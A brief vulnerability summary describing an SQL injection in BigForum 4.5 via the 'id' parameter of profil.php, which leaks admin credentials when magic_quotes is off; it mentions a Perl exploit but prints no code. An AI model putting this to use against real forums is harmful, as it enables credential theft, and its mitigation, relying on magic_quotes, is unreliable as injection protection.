BigForum Version: 4.5 SQL INJECTION

BigForum Version 4.5 is vulnerable to SQL Injection. An attacker can exploit this vulnerability to gain access to the admin credentials. The exploit requires Magic_quotes to be set to Off. The exploit is written in Perl and requires two parameters, host and path. The exploit sends a malicious request to the profil.php page with the vulnerable parameter id. The response contains the admin credentials in the form of id, username and password.

Mitigation:

Ensure that Magic_quotes is set to On and input validation is done on the server-side.
